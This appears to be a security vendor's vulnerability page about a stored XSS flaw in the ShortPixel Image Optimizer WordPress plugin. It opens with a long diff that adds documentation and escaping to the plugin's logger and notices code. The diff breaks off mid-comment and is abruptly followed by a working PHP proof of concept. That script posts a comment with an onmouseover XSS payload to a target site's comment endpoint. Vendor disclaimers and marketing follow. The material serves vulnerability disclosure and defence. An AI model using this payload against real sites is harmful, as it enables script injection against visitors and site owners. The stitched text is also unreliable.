+   * Logs at DebugItem::LEVEL_DEBUG.
+   *
+   * @param mixed $message Log message; arrays and objects are dumped as data.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addDebug($message, $args = array())
   {
     $level = DebugItem::LEVEL_DEBUG;
@@ -420,10 +846,16 @@
   }

   /**
-   * Adds a trace for debuggins.
-   * @param String  $message       Description
-   * @param integer  $amount        Amount of lines needed.
-   * @param integer $debug_option  Debug backtrace ( default IGNORE_ARGS, see docs )
+   * Logs a message followed by a backtrace, at LEVEL_DEBUG.
+   *
+   * The trace frames are passed as data, so each frame is dumped on its own
+   * line by DebugItem.
+   *
+   * @param string $message      Log message.
+   * @param int    $amount       Maximum number of frames.
+   * @param int    $debug_option Options for debug_backtrace(); defaults to
+   *                             DEBUG_BACKTRACE_IGNORE_ARGS.
+   * @return void
    */
   public static function addTrace($message, $amount = 10, $debug_option = 2)
   {
@@ -432,18 +864,41 @@
     $log->addLog($message, DebugItem::LEVEL_DEBUG, $trace);
   }

+  /**
+   * Static entry point for addMemoryLog().
+   *
+   * @param string $message Log message.
+   * @param array  $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addMemory($message, $args = array())
   {
     $log = self::getInstance();
     $log->addMemoryLog($message, $args);
   }

-  /** These should be removed every release. They are temporary only for d'bugging the current release */
+  /**
+   * Alias of addDebug() for temporary statements.
+   *
+   * Calls to it mark debugging code that is meant to be removed before a
+   * release, so they are easy to grep for.
+   *
+   * @param mixed $message Log message.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addTemp($message, $args = array())
   {
     self::addDebug($message, $args);
   }

+  /**
+   * Changes the level threshold at runtime and logs the change at
+   * LEVEL_INFO (under the previous threshold).
+   *
+   * @param int $level One of the DebugItem::LEVEL_* constants.
+   * @return void
+   */
   public static function logLevel($level)
   {
     $log = self::getInstance();
@@ -451,26 +906,50 @@
     $log->setLogLevel($level);
   }

+  /**
+   * Returns the current level threshold.
+   *
+   * @return int One of the DebugItem::LEVEL_* constants.
+   */
   public static function getLogLevel()
   {
     $log = self::getInstance();
     return $log->getEnv('logLevel');
   }

+  /**
+   * Tells whether logging was enabled through the request parameter.
+   *
+   * Consumers use it to carry `SHORTPIXEL_DEBUG` over to the URLs they
+   * generate and to show debugging aids in their settings pages.
+   *
+   * @return bool
+   */
   public static function isManualDebug()
   {
     $log = self::getInstance();
     return $log->getEnv('is_manual_request');
   }

+  /**
+   * Returns the log file path.
+   *
+   * @return string|false Absolute path, or false when no path is set yet
+   *                      (see the class @todo for the defaulted case).
+   */
   public static function getLogPath()
   {
     $log = self::getInstance();
     return $log->getEnv('logPath');
   }

-  /** Function to test if the debugger is active
-   * @return boolean true when active.
+  /**
+   * Tells whether the logger writes anything in this request.
+   *
+   * Consumers check it before calling setLogPath() and before building
+   * debug-only output.
+   *
+   * @return bool
    */
   public static function debugIsActive()
   {
--- a/shortpixel-image-optimiser/build/shortpixel/log/src/view-debug-box.php
+++ b/shortpixel-image-optimiser/build/shortpixel/log/src/view-debug-box.php
@@ -1,13 +1,25 @@
 <?php
-// Debug Box to load Log File
+/**
+ * Admin debug box template of the logger.
+ *
+ * Included by ShortPixelLogger::loadView() on `admin_footer` when logging
+ * was enabled through the `SHORTPIXEL_DEBUG` request parameter. Renders a
+ * small draggable box (jQuery UI draggable is enqueued here) with a link
+ * that opens the log file. Expects from the including scope:
+ * - `$view` (stdClass) with `namespace` (string, shown in the header) and
+ *   `logLink` (string, unescaped URL of the log file, escaped here; empty
+ *   when no log path is set, in which case no link is printed).
+ * - `$controller` (ShortPixelLogger), available but not used.
+ *
+ * @package ShortPixelShortPixelLogger
+ */
 namespace ShortPixelShortPixelLogger;
-wp_enqueue_script( 'jquery-ui-draggable' );
-
-namespace ShortPixel;

 if ( ! defined( 'ABSPATH' ) ) {
  exit; // Exit if accessed directly.
 }
+
+wp_enqueue_script( 'jquery-ui-draggable' );
 ?>

 <style>
@@ -55,7 +67,9 @@

 <div class='sp_debug_box'>
      <div class='header'><?php echo esc_html($view->namespace) ?> Debug Box </div>
-     <a target="_blank" href='<?php echo $view->logLink ?>'>Logfile</a>
+     <?php if ('' !== $view->logLink) : ?>
+     <a target="_blank" rel="noopener" href='<?php echo esc_url($view->logLink); ?>'>Logfile</a>
+     <?php endif; ?>
      <div class='content_box'>

      </div>
--- a/shortpixel-image-optimiser/build/shortpixel/notices/src/NoticeController.php
+++ b/shortpixel-image-optimiser/build/shortpixel/notices/src/NoticeController.php
@@ -1,23 +1,143 @@
 <?php
+/**
+ * Notices module entry point.
+ *
+ * Holds the NoticeController class, which collects admin notices during a
+ * request, stores them in a WordPress option and renders them in the admin
+ * screens of the consuming plugin.
+ *
+ * @package ShortPixelNotices
+ */
 namespace ShortPixelNotices;
 use ShortPixelShortPixelLoggerShortPixelLogger as Log;

+/**
+ * Collects, stores and renders admin notices.
+ *
+ * Consumers add notices through the static addNormal(), addError(),
+ * addWarning() and addSuccess() methods, each of which returns the new
+ * NoticeModel. A notice is one-shot by default: it is shown on the next
+ * admin page that renders notices and is dropped afterwards. makePersistent()
+ * turns a notice into a keyed, persistent one that is shown on every admin
+ * page until the user dismisses it (through the AJAX handler of this class)
+ * or the consumer removes it by key with removeNoticeByID().
+ *
+ * Lifecycle: getInstance() returns the single instance. The constructor
+ * derives the option name from the first segment of the namespace
+ * (`ShortPixel-notices` in this source), registers the AJAX dismiss handler
+ * and loads the stored notices from that option into the static $notices
+ * array. The option holds the serialized NoticeModel objects. update() writes
+ * the array back after every change (adding a notice, adding a detail, making
+ * a notice persistent, dismissing or removing one) and at the end of
+ * admin_notices(); it drops every notice for which NoticeModel::isDone()
+ * is true, that is, viewed one-shot notices and dismissed persistent notices
+ * whose suppress period has passed. When no notices remain, the option is
+ * deleted.
+ *
+ * The class does not hook `admin_notices` itself. The consuming plugin either
+ * adds admin_notices() of this class to that hook, or calls
+ * getNoticesForDisplay(), echoes NoticeModel::getForDisplay() for each notice
+ * (optionally filtering with NoticeModel::checkScreen()) and calls update()
+ * afterwards so the viewed state is stored. Notices added during an AJAX
+ * request can be collected with getNewNotices() and returned in the response
+ * instead of being rendered.
+ *
+ * Bundling: this source is written with the ShortPixel namespace and the
+ * ShortPixel text domain. The build tool that bundles the module into a
+ * plugin rewrites both mechanically, so each consuming plugin sees its own
+ * namespace and, because the option name and the AJAX action are derived
+ * from the namespace, its own option and AJAX action. Names in these
+ * docblocks are given in the source's terms.
+ *
+ * Fires no hooks.
+ *
+ * Hooks listened to:
+ * - action `wp_ajax_{notice_option}` (ajax_action()), registered in the
+ *   constructor; `{notice_option}` is `ShortPixel-notices` in this source.
+ * - action `admin_print_footer_scripts` (printNoticeStyle()), registered by
+ *   the first admin_notices() call that has notices to show.
+ *
+ * @todo resetNotices() deletes the option but leaves the static $notices
+ *       array untouched, so when the controller was already instantiated in
+ *       the same request the next update() call writes the old notices back.
+ *       Suggested fix: also reset self::$notices and, when an instance
+ *       exists, its $has_stored flag and count.
+ * @todo removeNoticeByID() and makePersistent() iterate $notices with
+ *       `for ($i = 0; $i < count(self::$notices); $i++)` and unset() entries
+ *       while iterating. Every unset() shrinks count() by one, so the last
+ *       entries of the array are never examined and a matching notice at the
+ *       end can survive. Suggested fix: iterate with foreach over the keys
+ *       and unset by key, or filter into a new array.
+ */
 class NoticeController //extends ShortPixelController
 {
+  /**
+   * All known notices, stored and one-shot alike, shared by every instance.
+   * Loaded from the option in loadNotices() and written back by update().
+   *
+   * @var NoticeModel[]
+   */
   protected static $notices = array();
+  /**
+   * The single instance returned by getInstance().
+   *
+   * @var NoticeController|null
+   */
   protected static $instance = null;
-  protected static $cssHookLoaded = false; // prevent css output more than once.
-	protected static $newNotices = [];  // notices added this PHP run (to get them if needed)
-
+  /**
+   * Whether printNoticeStyle() has been hooked to
+   * `admin_print_footer_scripts`, so the stylesheet is printed only once.
+   *
+   * @var bool
+   */
+  protected static $cssHookLoaded = false;
+	/**
+	 * Notices added during this request, in order of addition. Used by
+	 * consumers to return new notices in an AJAX response. Never cleared.
+	 *
+	 * @var NoticeModel[]
+	 */
+	protected static $newNotices = [];
+
+  /**
+   * IDs of the persistent notices already returned by
+   * getNoticesForDisplay() in this request, so a persistent notice is
+   * rendered once even when the display method runs more than once.
+   *
+   * @var string[]
+   */
   protected $notice_displayed = array();

+  /**
+   * Number of notices in $notices as of the last countNotices() call.
+   *
+   * @var int
+   */
   public $notice_count = 0;

+  /**
+   * Whether the option existed and held an array when loadNotices() ran.
+   * update() deletes the option only when this is true.
+   *
+   * @var bool
+   */
   protected $has_stored = false;

-  protected $notice_option = ''; // The wp_options name for notices here.
-
-  /** For backward compat. Never call constructor directly. */
+  /**
+   * Name of the option the notices are stored in, also used as the AJAX
+   * action name: the first segment of the namespace followed by `-notices`.
+   *
+   * @var string
+   */
+  protected $notice_option = '';
+
+  /**
+   * Derives the option name, registers the AJAX dismiss handler and loads
+   * the stored notices.
+   *
+   * Public for backward compatibility only; use getInstance() so the AJAX
+   * action is registered once.
+   */
   public function __construct()
   {
       $ns = __NAMESPACE__;
@@ -30,6 +150,11 @@
       //$this->loadConfig();
   }

+  /**
+   * Returns the shared instance, creating it on first use.
+   *
+   * @return NoticeController
+   */
   public static function getInstance()
   {
      if ( self::$instance === null)
@@ -40,7 +165,15 @@
      return self::$instance;
   }

-  /** Reset all notices, before loading them, to ensure on updates / activations one starts fresh */
+  /**
+   * Deletes the notices option so the next load starts without notices.
+   *
+   * Meant for plugin activation and upgrades, before the controller is
+   * instantiated. Works on the option name directly and does not need an
+   * instance.
+   *
+   * @return void
+   */
   public static function resetNotices()
   {
     $ns = __NAMESPACE__;
@@ -48,10 +181,14 @@
     $result = delete_option($ns . '-notices');
   }

-  /** Load Notices Config File, if any
-  *
-  * [ Future Use ]
-  */
+  /**
+   * Placeholder for loading a notices configuration file.
+   *
+   * Reserved for future use: the method returns before the code that
+   * follows the return statement, so nothing is loaded.
+   *
+   * @return void
+   */
   public function loadConfig()
   {
     return;
@@ -62,6 +199,16 @@
     }
   }

+  /**
+   * Registers the icon HTML per notice type for rendering.
+   *
+   * Icons are static state of NoticeModel and are not stored, so the
+   * consumer sets them on every request before rendering.
+   *
+   * @param array $icons Icon HTML keyed by type name: `normal`, `error`,
+   *                     `warning` or `success`.
+   * @return void
+   */
   public function loadIcons($icons)
   {
       foreach($icons as $name => $icon)
@@ -69,6 +216,15 @@
   }


+  /**
+   * Loads the stored notices from the option into the static $notices array.
+   *
+   * Keeps only entries that unserialized into NoticeModel objects, so
+   * entries that became `__PHP_Incomplete_Class` after a namespace change
+   * are discarded. Sets $has_stored and updates the count.
+   *
+   * @return void
+   */
   protected function loadNotices()
   {
     $notices = get_option($this->notice_option, false);
@@ -95,6 +251,22 @@
   }


+  /**
+   * Creates a notice, adds it to the array and stores the array.
+   *
+   * @param string $message Notice text, HTML allowed.
+   * @param int    $code    One of the NoticeModel::NOTICE_* constants.
+   * @param bool   $unique  When true and a notice with the same message and
+   *                        type already exists, no notice is added.
+   * @return NoticeModel The new notice, or the existing one with the same
+   *                     message when $unique is true.
+   *
+   * @todo The uniqueness check compares $code of both notices, but
+   *       NoticeModel never assigns that property, so it is always null and
+   *       only the message decides: a notice with the same text but another
+   *       type is treated as a duplicate. Suggested fix: compare
+   *       $messageType instead.
+   */
   protected function addNotice($message, $code, $unique)
   {
       $notice = new NoticeModel($message, $code);
@@ -115,7 +287,15 @@
       return $notice;
   }

-  /** Update the notices to store, check what to remove, returns count.  */
+  /**
+   * Drops finished notices and writes the remaining ones to the option.
+   *
+   * A notice is finished when NoticeModel::isDone() returns true. When no
+   * notices are left, the option is deleted instead (only if it was stored
+   * before) and nothing is written.
+   *
+   * @return int Number of notices remaining after the update.
+   */
   public function update()
   {
     if (! is_array(self::$notices) || count(self::$notices) == 0)
@@ -141,6 +321,11 @@
     return $this->countNotices();
   }

+  /**
+   * Recounts the notices and stores the result in $notice_count.
+   *
+   * @return int Number of notices currently held.
+   */
   public function countNotices()
   {
       $this->notice_count = count(self::$notices);
@@ -148,16 +333,39 @@
   }


+  /**
+   * Returns all notices, including dismissed and already viewed ones.
+   *
+   * @return NoticeModel[]
+   */
   public function getNotices()
   {
       return self::$notices;
   }

+	/**
+	 * Returns the notices added during this request.
+	 *
+	 * @return NoticeModel[]
+	 */
 	public function getNewNotices()
 	{
 		 return self::$newNotices;
   }

+  /**
+   * Returns the notices that should be rendered now.
+   *
+   * Dismissed notices are skipped. A persistent notice is returned once per
+   * request (tracked in $notice_displayed) and gets $notice_action set to
+   * the option name so its dismiss script can address the AJAX handler of
+   * this controller. One-shot notices are returned every time.
+   *
+   * Does not check screens; the caller applies NoticeModel::checkScreen()
+   * when needed.
+   *
+   * @return NoticeModel[]
+   */
   public function getNoticesForDisplay()
   {
       $newNotices = array();
@@ -188,6 +396,13 @@



+  /**
+   * Finds a persistent notice by its key.
+   *
+   * @param string $id Key given to makePersistent().
+   * @return NoticeModel|false The notice, or false when no notice has this
+   *                           key.
+   */
   public function getNoticeByID($id)
   {
     foreach(self::$notices as $notice)
@@ -199,6 +414,16 @@
     return false;
   }

+  /**
+   * Removes the persistent notice with the given key and stores the array.
+   *
+   * Used by consumers to withdraw a notice whose condition no longer
+   * applies, and by ajax_action() for the `remove` dismiss type. Logs each
+   * removal. Does nothing besides storing when the key is unknown.
+   *
+   * @param string $id Key given to makePersistent().
+   * @return void
+   */
   public static function removeNoticeByID($id)
   {
     $noticeController = self::getInstance();
@@ -216,6 +441,20 @@
     $noticeController->update();
   }

+  /**
+   * AJAX handler for dismissing a persistent notice.
+   *
+   * Reads `nonce` (action `dismiss`), `plugin_action` (must be `dismiss`),
+   * `id` (the notice key) and `dismisstype` from the POST request. With
+   * dismiss type `remove` the notice is deleted; otherwise it is marked
+   * dismissed, which hides it and, once its suppress period has passed,
+   * lets update() drop it. Stores the array and ends the request with a JSON
+   * response: `result` (bool), `reason` (string, set on failure) and
+   * `dismissed` or `removed` (true) on success. Logs an error for a wrong
+   * nonce or an unknown key.
+   *
+   * @return void
+   */
   public function ajax_action()
   {
     $response = array('result' => false, 'reason' => '');
@@ -269,13 +508,14 @@
     wp_send_json($response);
   }

-  /** Adds a notice, quick and fast method
-  * @param String $message The Message you want to notify
-  * @param Boolean $unique If unique, check to not repeat notice exact same text in notices.  Discard if so
-  * @param int $code A value of messageType as defined in model
-  * @returm Object Instance of noticeModel
-  */
-
+  /**
+   * Adds an informational notice.
+   *
+   * @param string $message Notice text, HTML allowed.
+   * @param bool   $unique  When true, do not add the notice if one with the
+   *                        same message and type already exists.
+   * @return NoticeModel The added or the matching existing notice.
+   */
   public static function addNormal($message, $unique = false)
   {
     $noticeController = self::getInstance();
@@ -284,6 +524,14 @@

   }

+  /**
+   * Adds an error notice.
+   *
+   * @param string $message Notice text, HTML allowed.
+   * @param bool   $unique  When true, do not add the notice if one with the
+   *                        same message and type already exists.
+   * @return NoticeModel The added or the matching existing notice.
+   */
   public static function addError($message, $unique = false)
   {
     $noticeController = self::getInstance();
@@ -292,6 +540,14 @@

   }

+  /**
+   * Adds a warning notice.
+   *
+   * @param string $message Notice text, HTML allowed.
+   * @param bool   $unique  When true, do not add the notice if one with the
+   *                        same message and type already exists.
+   * @return NoticeModel The added or the matching existing notice.
+   */
   public static function addWarning($message, $unique = false)
   {
     $noticeController = self::getInstance();
@@ -299,6 +555,14 @@
     return $notice;
   }

+  /**
+   * Adds a success notice.
+   *
+   * @param string $message Notice text, HTML allowed.
+   * @param bool   $unique  When true, do not add the notice if one with the
+   *                        same message and type already exists.
+   * @return NoticeModel The added or the matching existing notice.
+   */
   public static function addSuccess($message, $unique = false)
   {
     $noticeController = self::getInstance();
@@ -306,6 +570,17 @@
     return $notice;
   }

+  /**
+   * Adds a detail line to a notice and stores the array.
+   *
+   * Details are rendered in a collapsible block under the message, which
+   * keeps one notice readable when the same problem occurs for many files.
+   *
+   * @param NoticeModel $notice Notice to extend.
+   * @param string      $detail Detail text, HTML allowed. Duplicates are
+   *                            ignored.
+   * @return void
+   */
   public static function addDetail($notice, $detail)
   {
     $noticeController = self::getInstance();
@@ -314,12 +589,28 @@
     $noticeController->update();
   }

-  /** Make a regular notice persistent across multiple page loads
-  * @param $notice NoticeModel The Notice to make Persistent
-  * @param $key String Identifier of the persistent notice.
-  * @param $suppress Int  When dismissed, time to stay dismissed
-  * @param $callback Function Callable function - Seems not implemented atm ?
-  */
+  /**
+   * Makes a notice persistent under a key and stores the array.
+   *
+   * When no notice with this key exists, the given notice is marked
+   * persistent with the key, suppress period and callback. When one exists,
+   * the given notice (already added with a null ID by one of the add
+   * methods) is removed from the array again so the key stays unique; if its
+   * message differs from the stored one, the stored notice takes the new
+   * message. In that case the passed $notice object itself is left unchanged
+   * and is no longer part of the array.
+   *
+   * @param NoticeModel   $notice   Notice returned by one of the add methods.
+   * @param string        $key      Unique key of the persistent notice.
+   * @param int           $suppress Seconds the notice stays hidden after the
+   *                                user dismisses it; -1 drops it on dismiss.
+   * @param callable|null $callback Called by NoticeModel::getForDisplay()
+   *                                with the notice before rendering; a
+   *                                return value of false suppresses the
+   *                                output. Must survive serialization into
+   *                                the option, so closures are not usable.
+   * @return void
+   */
   public static function makePersistent($notice, $key, $suppress = -1, $callback = null)
   {
      $noticeController = self::getInstance();
@@ -351,6 +642,16 @@
      $noticeController->update();
   }

+  /**
+   * Renders the notices that are due and stores the resulting state.
+   *
+   * Intended as the callback for the `admin_notices` action. Echoes the
+   * markup of every notice from getNoticesForDisplay(), hooks the
+   * stylesheet output on the first call that has notices, and calls
+   * update() so viewed one-shot notices are dropped from the option.
+   *
+   * @return void
+   */
   public function admin_notices()
   {
       if ($this->countNotices() > 0)
@@ -369,6 +670,15 @@
   }


+  /**
+   * Prints the module stylesheet inline.
+   *
+   * Hooked to `admin_print_footer_scripts` by admin_notices(). Reads
+   * css/notices.css next to this file; logs a debug message when the file
+   * is missing.
+   *
+   * @return void
+   */
   public function printNoticeStyle()
   {
      if (file_exists(__DIR__ . '/css/notices.css'))
--- a/shortpixel-image-optimiser/build/shortpixel/notices/src/NoticeModel.php
+++ b/shortpixel-image-optimiser/build/shortpixel/notices/src/NoticeModel.php
@@ -1,42 +1,199 @@
 <?php
+/**
+ * Notice data class of the notices module.
+ *
+ * @package ShortPixelNotices
+ */
 namespace ShortPixelNotices;

+/**
+ * One admin notice: message, type, details, persistence and dismiss state.
+ *
+ * Created by NoticeController::addNotice() and serialized as-is into the
+ * notices option, so every property that must survive between requests is
+ * plain data. A notice starts as one-shot: getForDisplay() marks it viewed
+ * and isDone() then reports it finished, so the controller drops it after
+ * the first render. setPersistent() gives it a key, after which it is shown
+ * on every page until dismiss() is called; a dismissed persistent notice is
+ * hidden and becomes finished once its suppress period has passed.
+ *
+ * getForDisplay() returns the complete markup of the notice, including the
+ * inline scripts that fade out a one-shot notice on click and that post the
+ * dismissal of a persistent notice to the controller's AJAX handler. Icons
+ * per type are static state set through setIcon() on every request, they
+ * are not stored.
+ *
+ * Screen limits set with 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120486 - ShortPixel Image Optimizer <= 6.6.1 - Unauthenticated Stored XSS via Comment Content and CDN URL Rewriter

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Prepare the malicious comment payload.
// The payload uses an acronym tag with a title attribute containing a url() value that breaks out.
$payload = '<acronym title="x url('x" onmouseover=alert(document.domain) x=')">test</acronym>';

// Step 2: Set up cURL to submit a comment to the default WordPress comment endpoint.
// This assumes the target site has comments enabled on the default post (ID 1).
$comment_data = array(
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => 'http://attacker.com',
    'comment_post_ID' => 1, // Adjust to a valid post ID
    'comment_parent' => 0,
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);

// Step 3: Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Output result.
if ($http_code == 302) {
    echo "Comment submitted successfully (HTTP 302). The payload may be stored.n";
    echo "Visit the post to trigger the XSS if useCDN is enabled.n";
} else {
    echo "Comment submission returned HTTP $http_code. Response headers:n$responsen";
}

// Note: This PoC assumes the target post allows comments and the useCDN option is enabled.
// The payload may need adjustment based on the actual rewriter behavior.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.